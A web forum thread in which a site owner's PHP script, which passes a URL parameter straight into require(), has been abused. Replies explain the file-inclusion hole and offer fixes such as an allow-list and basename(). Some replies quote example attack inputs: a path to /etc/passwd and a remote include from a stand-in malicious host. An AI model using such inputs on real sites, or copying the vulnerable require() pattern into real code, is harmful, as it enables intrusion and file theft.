Hi Folks, I have these basic php scripts that I yuse on my sites. Recently somebody started spamming thru this script, due to this my accound is suspended. Would someone please tell me what is the problem with this script. I need to fix this asap. //read htm $htm = ".htm"; $pid = "$page$htm"; function show_page($pid) { require($pid); } // read htm ends //read title txt $txt = ".txt"; $title = "$page$txt"; function show_title($title) { require($title); } // read title ends Code (markup): and in a php file I use show_title("$title"); show_page("$pid"); Code (markup): to call them. I think there is a security issue with my function. But I am not that advanced yet. So I really need you help.
your code snippet is not appropriate to understand the situation and your motive which you are looking to achieve ...please explain in more details and supply more relevant code ...
Have one function that as follows. //read htm $htm = ".htm"; $pid = "$page$htm"; function show_page($pid) { require($pid); } // read htm ends //read title txt $txt = ".txt"; $title = "$page$txt"; function show_title($title) { require($title); } // Code (markup): And with in details.php I have show_title("$title"); ............................ ........................... show_page("$pid"); Code (markup): I call the files as /details.php?content=aboutus Title file is called aboutus.txt And content is called aboutus.htm This details.php calls these two files.
If $page comes right from the URL, there's your security risk right there. And you should seriously rethink your logic of creating one function just to create another. I didn't mention this only to decorate this thread.
Sure.. Like I have said, I am not that advanced. But still trying to learn.. What would be more secure way ?
One way is to parse the variables and block unwanted stuff: for example if somebody calls an URL like this: /details.php?content=/etc/passwd - to prevent this you could check that the $content var doesn't contain slashes, or dots etc. BUT - I don't like this method to allow everything except malicious stuff and I like much better to not allow anything except allowed stuff So how would you to this? Simple: if ($content == 'aboutus') { $page = 'aboutus.txt'; } elseif ($content == 'feedback') { $page = 'feedback.txt'; ... } else { die('Do you really think you are cool?'); } require($page); PHP: See what I mean? You only execute the script if you received a valid (obviously you have to decide what is valid and what is not) input, otherwise you block execution. HTH, cheers!
Thanks Picouli, It is impossible to for me to do that as I have hundreds of htm files thats is called. So for now All I can think of is allow only alphabet a-z and numbers ? any other way ?
What you have done there is to tell the browser to go and get a file from the current path. However, someone may instruct the browser to go and get another file from another directory like: /details.php?content=/etc/passwd Or even call an external php file like: /details.php?content=http://www.baddomain.com/exploit.php I am not a security expert, but this is roughly how it could be done. I guess what you can do is to double check the parameters passed from the url using regular expressions.
You don't even have to use regular expressions for this. The function basename() was created exactly for this purpose. It would convert a string like "/home/www/htdocs/index.html" into simply "index.html", that way no one can access files outside of a given directory.
<? function get_details( $pid ) { # Clean up the pid $pid = preg_replace( "/\.(.*)$/", "", $pid ); # I'm being anal, no need for this ( for most machines ) $return = array(); # Might want this to log foul requests $return["requester"] = $_SERVER['REMOTE_ADDR']; # While we're here : $return["time"] = time(); # User agent into array ... $return["ua"] = $_SERVER['HTTP_USER_AGENT']; # Need to check that we're making sense still if( !file_exists( dirname(__FILE__) . "/" . $pid . ".htm" ) ) { $return["content"] = "Unrecognized content"; } else { $return["content"] = @file_get_contents( dirname(__FILE__) . "/" . $pid . ".htm" ); } if( !file_exists( dirname(__FILE__) . "/" . $pid . ".txt" ) ) { $return["title"] = "Unrecognized title"; } else { $return["title"] = @file_get_contents( dirname(__FILE__) . "/" . $pid . ".txt" ); } # If you had meta desc for pages, you could do the following also : # $return["meta"] = @file_get_contents( dirname(__FILE__) . "/" . $pid . ".meta" ) ; # but you don't so I'll leave it commented, but you see how it's working now # right? return $return; # Return data, an associative array of all sorts } $page = get_details($_GET['content']); ?> <html> <head> <!-- <meta name="description" content="<?=$page['meta'] ?>" /> --> <title><?=$page['title'] ?></title> </head> <body> <?=$page['content'] ?> <!-- Other stuff you might wanna include or use to point users at other pages <br />Timestamp : <?=date('l dS \of F Y h:i:s A', $page["time"] ); ?> <br />Useragent : <?=$page["ua"] ?> <br />Request From : <?=$page["requester"] ?> --> </body> </html> PHP: NJoy.....
I know that everybody have their own understanding of things but, could you explain what part is not needed and why ?
<? function show_title( $page ) { require( basename($page) . ".txt"); } function show_page( $page ) { require( basename($page) . ".htm"); } show_title($_GET['content']); ?> <br /> <? show_page($_GET['content']); PHP: He's pointing out that you could use something as simple as that, without using regexp or anything else, however I don't see the point in making empty suggestions and I only saw one person posting a solution, so a solution is what I gave you. IMO my way is better ....
Empty suggestion? I said what would be better. How is that an "empty suggestion"? I am not going to hold hands with someone here. As for your revised code, you didn't even understand basename() correctly since you don't have to append ".txt" and ".html" to the file names. And you have to explain to me how using cpu intensive regular expressions is better over simply using basename(). So either you have something to say or you just zip it.
if .txt and .html werent there the files would never be loaded as the url is ?content=item not item.ext ..... I understand perfectly what the user wanted and thats what he got ....